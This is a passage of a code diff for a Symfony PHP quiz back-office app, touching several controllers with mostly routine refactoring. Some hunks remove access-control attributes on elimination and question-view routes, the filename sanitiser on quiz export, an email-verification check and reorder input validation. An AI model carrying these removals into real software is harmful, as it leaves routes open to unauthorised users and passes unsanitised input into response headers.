$this->addSql('ALTER TABLE reset_password_request ADD CONSTRAINT FK_7CE748AA76ED395 FOREIGN KEY (user_id) REFERENCES "user" (id) NOT DEFERRABLE');
|
|
||||||
}
|
|
||||||
|
|
||||||
#[\Override]
|
|
||||||
public function down(Schema $schema): void
|
|
||||||
{
|
|
||||||
// this down() migration is auto-generated, please modify it to your needs
|
|
||||||
$this->addSql('ALTER TABLE reset_password_request DROP CONSTRAINT FK_7CE748AA76ED395');
|
|
||||||
$this->addSql('DROP TABLE reset_password_request');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,9 +5,6 @@ declare(strict_types=1);
|
|||||||
namespace Tvdt\Controller;
|
namespace Tvdt\Controller;
|
||||||
|
|
||||||
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController as AbstractBaseController;
|
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController as AbstractBaseController;
|
||||||
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
|
|
||||||
use Tvdt\Entity\Season;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
|
|
||||||
abstract class AbstractController extends AbstractBaseController
|
abstract class AbstractController extends AbstractBaseController
|
||||||
@@ -16,22 +13,6 @@ abstract class AbstractController extends AbstractBaseController
|
|||||||
|
|
||||||
protected const string CANDIDATE_HASH_REGEX = '[\w\-=]+';
|
protected const string CANDIDATE_HASH_REGEX = '[\w\-=]+';
|
||||||
|
|
||||||
protected User $authenticatedUser {
|
|
||||||
get {
|
|
||||||
$user = $this->getUser();
|
|
||||||
\assert($user instanceof User);
|
|
||||||
|
|
||||||
return $user;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
protected function assertSameSeason(Season $season, Season $subjectSeason): void
|
|
||||||
{
|
|
||||||
if ($season !== $subjectSeason) {
|
|
||||||
throw new NotFoundHttpException();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[\Override]
|
#[\Override]
|
||||||
protected function addFlash(FlashType|string $type, mixed $message): void
|
protected function addFlash(FlashType|string $type, mixed $message): void
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -14,13 +14,11 @@ use Symfony\Component\HttpKernel\Attribute\AsController;
|
|||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Routing\Requirement\Requirement;
|
use Symfony\Component\Routing\Requirement\Requirement;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
||||||
use Symfony\Contracts\Translation\TranslatorInterface;
|
|
||||||
use Tvdt\Controller\AbstractController;
|
use Tvdt\Controller\AbstractController;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Entity\User;
|
||||||
use Tvdt\Form\CreateSeasonFormType;
|
use Tvdt\Form\CreateSeasonFormType;
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
|
||||||
use Tvdt\Repository\SeasonRepository;
|
use Tvdt\Repository\SeasonRepository;
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
use Tvdt\Security\Voter\SeasonVoter;
|
||||||
use Tvdt\Service\QuizSpreadsheetService;
|
use Tvdt\Service\QuizSpreadsheetService;
|
||||||
@@ -34,15 +32,17 @@ final class BackofficeController extends AbstractController
|
|||||||
private readonly Security $security,
|
private readonly Security $security,
|
||||||
private readonly QuizSpreadsheetService $excel,
|
private readonly QuizSpreadsheetService $excel,
|
||||||
private readonly EntityManagerInterface $em,
|
private readonly EntityManagerInterface $em,
|
||||||
private readonly TranslatorInterface $translator,
|
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
#[Route('/backoffice/', name: 'tvdt_backoffice_index')]
|
#[Route('/backoffice/', name: 'tvdt_backoffice_index')]
|
||||||
public function index(): Response
|
public function index(): Response
|
||||||
{
|
{
|
||||||
|
$user = $this->getUser();
|
||||||
|
\assert($user instanceof User);
|
||||||
|
|
||||||
$seasons = $this->security->isGranted('ROLE_ADMIN')
|
$seasons = $this->security->isGranted('ROLE_ADMIN')
|
||||||
? $this->seasonRepository->findAll()
|
? $this->seasonRepository->findAll()
|
||||||
: $this->seasonRepository->getSeasonsForUser($this->authenticatedUser);
|
: $this->seasonRepository->getSeasonsForUser($user);
|
||||||
|
|
||||||
return $this->render('backoffice/index.html.twig', [
|
return $this->render('backoffice/index.html.twig', [
|
||||||
'seasons' => $seasons,
|
'seasons' => $seasons,
|
||||||
@@ -58,7 +58,10 @@ final class BackofficeController extends AbstractController
|
|||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
$season->addOwner($this->authenticatedUser);
|
$user = $this->getUser();
|
||||||
|
\assert($user instanceof User);
|
||||||
|
|
||||||
|
$season->addOwner($user);
|
||||||
$season->generateSeasonCode();
|
$season->generateSeasonCode();
|
||||||
|
|
||||||
$this->em->persist($season);
|
$this->em->persist($season);
|
||||||
@@ -87,17 +90,11 @@ final class BackofficeController extends AbstractController
|
|||||||
requirements: ['quiz' => Requirement::UUID],
|
requirements: ['quiz' => Requirement::UUID],
|
||||||
methods: ['GET'],
|
methods: ['GET'],
|
||||||
)]
|
)]
|
||||||
public function exportQuiz(Quiz $quiz): Response
|
public function exportQuiz(Quiz $quiz): StreamedResponse
|
||||||
{
|
{
|
||||||
if (!$this->authenticatedUser->isVerified) {
|
|
||||||
$this->addFlash(FlashType::Warning, $this->translator->trans('Please confirm your email address before exporting a quiz.'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season', ['seasonCode' => $quiz->season->seasonCode]);
|
|
||||||
}
|
|
||||||
|
|
||||||
$response = new StreamedResponse($this->excel->quizToXlsx($quiz));
|
$response = new StreamedResponse($this->excel->quizToXlsx($quiz));
|
||||||
$response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
|
$response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
|
||||||
$response->headers->set('Content-Disposition', HeaderUtils::makeDisposition(HeaderUtils::DISPOSITION_ATTACHMENT, FilenameSanitizer::sanitize($quiz->name).'.xlsx'));
|
$response->headers->set('Content-Disposition', HeaderUtils::makeDisposition(HeaderUtils::DISPOSITION_ATTACHMENT, $quiz->name.'.xlsx'));
|
||||||
|
|
||||||
return $response;
|
return $response;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,21 +11,18 @@ use Symfony\Component\HttpFoundation\Response;
|
|||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Routing\Requirement\Requirement;
|
use Symfony\Component\Routing\Requirement\Requirement;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
||||||
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
|
||||||
use Tvdt\Controller\AbstractController;
|
use Tvdt\Controller\AbstractController;
|
||||||
use Tvdt\Entity\Elimination;
|
use Tvdt\Entity\Elimination;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
use Tvdt\Factory\EliminationFactory;
|
use Tvdt\Factory\EliminationFactory;
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
|
||||||
|
|
||||||
final class PrepareEliminationController extends AbstractController
|
final class PrepareEliminationController extends AbstractController
|
||||||
{
|
{
|
||||||
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination')]
|
#[IsCsrfTokenValid('prepare_elimination')]
|
||||||
#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]
|
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
|
||||||
name: 'tvdt_prepare_elimination',
|
name: 'tvdt_prepare_elimination',
|
||||||
@@ -40,7 +37,6 @@ final class PrepareEliminationController extends AbstractController
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
|
||||||
#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]
|
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/elimination/{elimination}',
|
'/backoffice/elimination/{elimination}',
|
||||||
name: 'tvdt_prepare_elimination_view',
|
name: 'tvdt_prepare_elimination_view',
|
||||||
|
|||||||
@@ -90,13 +90,11 @@ class QuestionBankController extends AbstractController
|
|||||||
|
|
||||||
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
||||||
|
|
||||||
$form = $this->createForm(BankQuestionFormType::class, $bankQuestion, [
|
$form = $this->createForm(BankQuestionFormType::class, $bankQuestion, ['season' => $season]);
|
||||||
'season' => $season,
|
|
||||||
'action' => $this->generateUrl('tvdt_backoffice_question_bank_new', ['seasonCode' => $season->seasonCode]),
|
|
||||||
]);
|
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
|
$this->applyAnswerOrdering($bankQuestion);
|
||||||
$season->addBankQuestion($bankQuestion);
|
$season->addBankQuestion($bankQuestion);
|
||||||
$this->em->persist($bankQuestion);
|
$this->em->persist($bankQuestion);
|
||||||
$this->em->flush();
|
$this->em->flush();
|
||||||
@@ -114,11 +112,17 @@ class QuestionBankController extends AbstractController
|
|||||||
? 'backoffice/question_bank/_frame.html.twig'
|
? 'backoffice/question_bank/_frame.html.twig'
|
||||||
: 'backoffice/question_bank/form.html.twig';
|
: 'backoffice/question_bank/form.html.twig';
|
||||||
|
|
||||||
return $this->render($template, [
|
$response = $this->render($template, [
|
||||||
'season' => $season,
|
'season' => $season,
|
||||||
'form' => $form,
|
'form' => $form,
|
||||||
'bankQuestion' => null,
|
'bankQuestion' => null,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
if ($form->isSubmitted()) {
|
||||||
|
$response->setStatusCode(Response::HTTP_UNPROCESSABLE_ENTITY);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $response;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
||||||
@@ -134,13 +138,7 @@ class QuestionBankController extends AbstractController
|
|||||||
|
|
||||||
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
||||||
|
|
||||||
$form = $this->createForm(BankQuestionFormType::class, $bankQuestion, [
|
$form = $this->createForm(BankQuestionFormType::class, $bankQuestion, ['season' => $season]);
|
||||||
'season' => $season,
|
|
||||||
'action' => $this->generateUrl('tvdt_backoffice_question_bank_edit', [
|
|
||||||
'seasonCode' => $season->seasonCode,
|
|
||||||
'bankQuestion' => $bankQuestion->id,
|
|
||||||
]),
|
|
||||||
]);
|
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
@@ -161,11 +159,17 @@ class QuestionBankController extends AbstractController
|
|||||||
? 'backoffice/question_bank/_frame.html.twig'
|
? 'backoffice/question_bank/_frame.html.twig'
|
||||||
: 'backoffice/question_bank/form.html.twig';
|
: 'backoffice/question_bank/form.html.twig';
|
||||||
|
|
||||||
return $this->render($template, [
|
$response = $this->render($template, [
|
||||||
'season' => $season,
|
'season' => $season,
|
||||||
'form' => $form,
|
'form' => $form,
|
||||||
'bankQuestion' => $bankQuestion,
|
'bankQuestion' => $bankQuestion,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
if ($form->isSubmitted()) {
|
||||||
|
$response->setStatusCode(Response::HTTP_UNPROCESSABLE_ENTITY);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $response;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('delete_bank_question')]
|
#[IsCsrfTokenValid('delete_bank_question')]
|
||||||
@@ -370,6 +374,21 @@ class QuestionBankController extends AbstractController
|
|||||||
return $this->redirectToRoute('tvdt_backoffice_question_bank', ['seasonCode' => $season->seasonCode]);
|
return $this->redirectToRoute('tvdt_backoffice_question_bank', ['seasonCode' => $season->seasonCode]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function assertSameSeason(Season $season, Season $subjectSeason): void
|
||||||
|
{
|
||||||
|
if ($season !== $subjectSeason) {
|
||||||
|
throw new NotFoundHttpException();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function applyAnswerOrdering(BankQuestion $bankQuestion): void
|
||||||
|
{
|
||||||
|
$ordering = 1;
|
||||||
|
foreach ($bankQuestion->answers as $answer) {
|
||||||
|
$answer->ordering = $ordering++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private function syncUsagesAfterEdit(BankQuestion $bankQuestion): void
|
private function syncUsagesAfterEdit(BankQuestion $bankQuestion): void
|
||||||
{
|
{
|
||||||
$pendingNames = [];
|
$pendingNames = [];
|
||||||
|
|||||||
@@ -25,7 +25,6 @@ use Tvdt\Entity\QuizCandidate;
|
|||||||
use Tvdt\Entity\Season;
|
use Tvdt\Entity\Season;
|
||||||
use Tvdt\Enum\FlashType;
|
use Tvdt\Enum\FlashType;
|
||||||
use Tvdt\Exception\ErrorClearingQuizException;
|
use Tvdt\Exception\ErrorClearingQuizException;
|
||||||
use Tvdt\Repository\GivenAnswerRepository;
|
|
||||||
use Tvdt\Repository\QuizCandidateRepository;
|
use Tvdt\Repository\QuizCandidateRepository;
|
||||||
use Tvdt\Repository\QuizRepository;
|
use Tvdt\Repository\QuizRepository;
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
use Tvdt\Security\Voter\SeasonVoter;
|
||||||
@@ -38,7 +37,6 @@ class QuizController extends AbstractController
|
|||||||
private readonly QuizRepository $quizRepository,
|
private readonly QuizRepository $quizRepository,
|
||||||
private readonly TranslatorInterface $translator,
|
private readonly TranslatorInterface $translator,
|
||||||
private readonly QuizCandidateRepository $quizCandidateRepository,
|
private readonly QuizCandidateRepository $quizCandidateRepository,
|
||||||
private readonly GivenAnswerRepository $givenAnswerRepository,
|
|
||||||
private readonly EntityManagerInterface $em,
|
private readonly EntityManagerInterface $em,
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
@@ -63,7 +61,25 @@ class QuizController extends AbstractController
|
|||||||
{
|
{
|
||||||
$fetchedQuiz = $this->quizRepository->fetchWithQuestionsAndCandidates($quiz->id);
|
$fetchedQuiz = $this->quizRepository->fetchWithQuestionsAndCandidates($quiz->id);
|
||||||
|
|
||||||
$candidateData = $this->buildCandidateData($season, $quiz, $fetchedQuiz->candidateData);
|
// Create indexed lookup for quiz candidates by candidate ID
|
||||||
|
$quizCandidatesByCandidateId = [];
|
||||||
|
foreach ($fetchedQuiz->candidateData as $qc) {
|
||||||
|
$quizCandidatesByCandidateId[$qc->candidate->id->toString()] = $qc;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get given answers counts efficiently via database query
|
||||||
|
$givenAnswersCountByCandidateId = $this->quizRepository->getGivenAnswersCountPerCandidate($quiz);
|
||||||
|
|
||||||
|
// Pre-compute candidate data to avoid nested loops in template
|
||||||
|
$candidateData = [];
|
||||||
|
foreach ($season->candidates as $candidate) {
|
||||||
|
$candidateIdString = $candidate->id->toString();
|
||||||
|
$candidateData[] = [
|
||||||
|
'candidate' => $candidate,
|
||||||
|
'quizCandidate' => $quizCandidatesByCandidateId[$candidateIdString] ?? null,
|
||||||
|
'givenAnswersCount' => $givenAnswersCountByCandidateId[$candidateIdString] ?? 0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
return $this->render('backoffice/quiz.html.twig', [
|
return $this->render('backoffice/quiz.html.twig', [
|
||||||
'season' => $season,
|
'season' => $season,
|
||||||
@@ -102,7 +118,25 @@ class QuizController extends AbstractController
|
|||||||
)]
|
)]
|
||||||
public function candidatesTab(Season $season, Quiz $quiz): Response
|
public function candidatesTab(Season $season, Quiz $quiz): Response
|
||||||
{
|
{
|
||||||
$candidateData = $this->buildCandidateData($season, $quiz, $quiz->candidateData);
|
// Create indexed lookup for quiz candidates by candidate ID
|
||||||
|
$quizCandidatesByCandidateId = [];
|
||||||
|
foreach ($quiz->candidateData as $qc) {
|
||||||
|
$quizCandidatesByCandidateId[$qc->candidate->id->toString()] = $qc;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get given answers counts efficiently via database query
|
||||||
|
$givenAnswersCountByCandidateId = $this->quizRepository->getGivenAnswersCountPerCandidate($quiz);
|
||||||
|
|
||||||
|
// Pre-compute candidate data to avoid nested loops in template
|
||||||
|
$candidateData = [];
|
||||||
|
foreach ($season->candidates as $candidate) {
|
||||||
|
$candidateIdString = $candidate->id->toString();
|
||||||
|
$candidateData[] = [
|
||||||
|
'candidate' => $candidate,
|
||||||
|
'quizCandidate' => $quizCandidatesByCandidateId[$candidateIdString] ?? null,
|
||||||
|
'givenAnswersCount' => $givenAnswersCountByCandidateId[$candidateIdString] ?? 0,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
return $this->render('backoffice/quiz.html.twig', [
|
return $this->render('backoffice/quiz.html.twig', [
|
||||||
'season' => $season,
|
'season' => $season,
|
||||||
@@ -398,53 +432,4 @@ class QuizController extends AbstractController
|
|||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('reset_candidate_progress')]
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'quiz')]
|
|
||||||
#[Route(
|
|
||||||
'/backoffice/quiz/{quiz}/candidate/{candidate}/reset',
|
|
||||||
name: 'tvdt_backoffice_reset_candidate_progress',
|
|
||||||
requirements: ['quiz' => Requirement::UUID, 'candidate' => Requirement::UUID],
|
|
||||||
methods: ['POST'],
|
|
||||||
)]
|
|
||||||
public function resetCandidateProgress(Quiz $quiz, Candidate $candidate): RedirectResponse
|
|
||||||
{
|
|
||||||
$this->em->wrapInTransaction(function () use ($quiz, $candidate): void {
|
|
||||||
$this->givenAnswerRepository->deleteAllForCandidateInQuiz($quiz, $candidate);
|
|
||||||
$this->quizCandidateRepository->resetProgressForCandidate($quiz, $candidate);
|
|
||||||
});
|
|
||||||
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Candidate progress reset'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_quiz_candidates_tab', ['seasonCode' => $quiz->season->seasonCode, 'quiz' => $quiz->id]);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Pre-computes per-candidate data (quiz participation and given answer counts) to avoid nested loops in templates.
|
|
||||||
*
|
|
||||||
* @param iterable<QuizCandidate> $quizCandidates
|
|
||||||
*
|
|
||||||
* @return list<array{candidate: Candidate, quizCandidate: QuizCandidate|null, givenAnswersCount: int}>
|
|
||||||
*/
|
|
||||||
private function buildCandidateData(Season $season, Quiz $quiz, iterable $quizCandidates): array
|
|
||||||
{
|
|
||||||
$quizCandidatesByCandidateId = [];
|
|
||||||
foreach ($quizCandidates as $qc) {
|
|
||||||
$quizCandidatesByCandidateId[$qc->candidate->id->toString()] = $qc;
|
|
||||||
}
|
|
||||||
|
|
||||||
$givenAnswersCountByCandidateId = $this->quizRepository->getGivenAnswersCountPerCandidate($quiz);
|
|
||||||
|
|
||||||
$candidateData = [];
|
|
||||||
foreach ($season->candidates as $candidate) {
|
|
||||||
$candidateIdString = $candidate->id->toString();
|
|
||||||
$candidateData[] = [
|
|
||||||
'candidate' => $candidate,
|
|
||||||
'quizCandidate' => $quizCandidatesByCandidateId[$candidateIdString] ?? null,
|
|
||||||
'givenAnswersCount' => $givenAnswersCountByCandidateId[$candidateIdString] ?? 0,
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
return $candidateData;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -46,16 +46,11 @@ class QuizQuestionController extends AbstractController
|
|||||||
|
|
||||||
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
$isTurboFrame = $request->headers->has('Turbo-Frame');
|
||||||
|
|
||||||
$form = $this->createForm(QuestionFormType::class, $question, [
|
$form = $this->createForm(QuestionFormType::class, $question);
|
||||||
'action' => $this->generateUrl('tvdt_backoffice_quiz_question_edit', [
|
|
||||||
'seasonCode' => $season->seasonCode,
|
|
||||||
'quiz' => $quiz->id,
|
|
||||||
'question' => $question->id,
|
|
||||||
]),
|
|
||||||
]);
|
|
||||||
$form->handleRequest($request);
|
$form->handleRequest($request);
|
||||||
|
|
||||||
if ($form->isSubmitted() && $form->isValid()) {
|
if ($form->isSubmitted() && $form->isValid()) {
|
||||||
|
$this->applyAnswerOrdering($question);
|
||||||
$this->em->flush();
|
$this->em->flush();
|
||||||
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Question updated'));
|
$this->addFlash(FlashType::Success, $this->translator->trans('Question updated'));
|
||||||
@@ -74,15 +69,20 @@ class QuizQuestionController extends AbstractController
|
|||||||
? 'backoffice/quiz/_question_frame.html.twig'
|
? 'backoffice/quiz/_question_frame.html.twig'
|
||||||
: 'backoffice/quiz/question_form.html.twig';
|
: 'backoffice/quiz/question_form.html.twig';
|
||||||
|
|
||||||
return $this->render($template, [
|
$response = $this->render($template, [
|
||||||
'season' => $season,
|
'season' => $season,
|
||||||
'quiz' => $quiz,
|
'quiz' => $quiz,
|
||||||
'question' => $question,
|
'question' => $question,
|
||||||
'form' => $form,
|
'form' => $form,
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
if ($form->isSubmitted()) {
|
||||||
|
$response->setStatusCode(Response::HTTP_UNPROCESSABLE_ENTITY);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $response;
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/question/{question}/view',
|
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/question/{question}/view',
|
||||||
name: 'tvdt_backoffice_quiz_question_view',
|
name: 'tvdt_backoffice_quiz_question_view',
|
||||||
@@ -127,10 +127,6 @@ class QuizQuestionController extends AbstractController
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (\count(array_unique($ordering)) !== \count($questionsById)) {
|
|
||||||
throw new BadRequestHttpException('Ordering must include every question exactly once');
|
|
||||||
}
|
|
||||||
|
|
||||||
$position = 1;
|
$position = 1;
|
||||||
foreach ($ordering as $questionId) {
|
foreach ($ordering as $questionId) {
|
||||||
$questionsById[$questionId]->ordering = $position++;
|
$questionsById[$questionId]->ordering = $position++;
|
||||||
@@ -140,4 +136,12 @@ class QuizQuestionController extends AbstractController
|
|||||||
|
|
||||||
return new Response('', Response::HTTP_NO_CONTENT);
|
return new Response('', Response::HTTP_NO_CONTENT);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function applyAnswerOrdering(Question $question): void
|
||||||
|
{
|
||||||
|
$ordering = 1;
|
||||||
|
foreach ($question->answers as $answer) {
|
||||||
|
$answer->ordering = $ordering++;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,25 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Controller\Backoffice;
|
|
||||||
|
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
|
||||||
use Tvdt\Controller\AbstractController;
|
|
||||||
use Tvdt\Service\GitHubReleasesService;
|
|
||||||
|
|
||||||
final class ReleasesController extends AbstractController
|
|
||||||
{
|
|
||||||
public function __construct(
|
|
||||||
private readonly GitHubReleasesService $gitHubReleasesService,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
#[Route('/backoffice/releases', name: 'tvdt_backoffice_releases', methods: ['GET'])]
|
|
||||||
public function index(): Response
|
|
||||||
{
|
|
||||||
return $this->render('backoffice/releases/_frame.html.twig', [
|
|
||||||
'releases' => $this->gitHubReleasesService->getReleases(),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -10,13 +10,10 @@ use Symfony\Component\Form\Extension\Core\Type\SubmitType;
|
|||||||
use Symfony\Component\Form\Extension\Core\Type\TextType;
|
use Symfony\Component\Form\Extension\Core\Type\TextType;
|
||||||
use Symfony\Component\Form\FormError;
|
use Symfony\Component\Form\FormError;
|
||||||
use Symfony\Component\HttpFoundation\File\UploadedFile;
|
use Symfony\Component\HttpFoundation\File\UploadedFile;
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
|
||||||
use Symfony\Component\HttpFoundation\Request;
|
use Symfony\Component\HttpFoundation\Request;
|
||||||
use Symfony\Component\HttpFoundation\Response;
|
use Symfony\Component\HttpFoundation\Response;
|
||||||
use Symfony\Component\HttpKernel\Attribute\AsController;
|
use Symfony\Component\HttpKernel\Attribute\AsController;
|
||||||
use Symfony\Component\Routing\Attribute\Route;
|
use Symfony\Component\Routing\Attribute\Route;
|
||||||
use Symfony\Component\Routing\Requirement\Requirement;
|
|
||||||
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
|
|
||||||
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
use Symfony\Component\Security\Http\Attribute\IsGranted;
|
||||||
use Symfony\Component\Validator\Constraints\Length;
|
use Symfony\Component\Validator\Constraints\Length;
|
||||||
use Symfony\Component\Validator\Constraints\NotBlank;
|
use Symfony\Component\Validator\Constraints\NotBlank;
|
||||||
@@ -29,7 +26,6 @@ use Tvdt\Enum\FlashType;
|
|||||||
use Tvdt\Form\AddCandidatesFormType;
|
use Tvdt\Form\AddCandidatesFormType;
|
||||||
use Tvdt\Form\SettingsForm;
|
use Tvdt\Form\SettingsForm;
|
||||||
use Tvdt\Form\UploadQuizFormType;
|
use Tvdt\Form\UploadQuizFormType;
|
||||||
use Tvdt\Repository\CandidateRepository;
|
|
||||||
use Tvdt\Security\Voter\SeasonVoter;
|
use Tvdt\Security\Voter\SeasonVoter;
|
||||||
use Tvdt\Service\QuizSpreadsheetService;
|
use Tvdt\Service\QuizSpreadsheetService;
|
||||||
|
|
||||||
@@ -41,7 +37,6 @@ class SeasonController extends AbstractController
|
|||||||
private readonly TranslatorInterface $translator,
|
private readonly TranslatorInterface $translator,
|
||||||
private readonly EntityManagerInterface $em,
|
private readonly EntityManagerInterface $em,
|
||||||
private readonly QuizSpreadsheetService $quizSpreadsheet,
|
private readonly QuizSpreadsheetService $quizSpreadsheet,
|
||||||
private readonly CandidateRepository $candidateRepository,
|
|
||||||
) {}
|
) {}
|
||||||
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
||||||
@@ -102,24 +97,6 @@ class SeasonController extends AbstractController
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[IsCsrfTokenValid('regenerate_season_code')]
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
|
||||||
#[Route(
|
|
||||||
'/backoffice/season/{seasonCode:season}/settings/regenerate-code',
|
|
||||||
name: 'tvdt_backoffice_season_regenerate_code',
|
|
||||||
requirements: ['seasonCode' => self::SEASON_CODE_REGEX],
|
|
||||||
methods: ['POST'],
|
|
||||||
)]
|
|
||||||
public function regenerateSeasonCode(Season $season): RedirectResponse
|
|
||||||
{
|
|
||||||
$season->generateSeasonCode();
|
|
||||||
$this->em->flush();
|
|
||||||
|
|
||||||
$this->addFlash(FlashType::Success, $this->translator->trans('Season code regenerated'));
|
|
||||||
|
|
||||||
return $this->redirectToRoute('tvdt_backoffice_season_settings', ['seasonCode' => $season->seasonCode]);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
#[IsGranted(SeasonVoter::EDIT, subject: 'season')]
|
||||||
#[Route(
|
#[Route(
|
||||||
'/backoffice/season/{seasonCode:season}/add-candidate',
|
'/backoffice/season/{seasonCode:season}/add-candidate',
|
||||||
@@ -129,8 +106,6 @@ class SeasonController extends AbstractController
|
|||||||
)]
|
)]
|
||||||
public function addCandidates(Season $season, Request $request): Response
|
public function addCandidates(Season $season, Request $request): Response
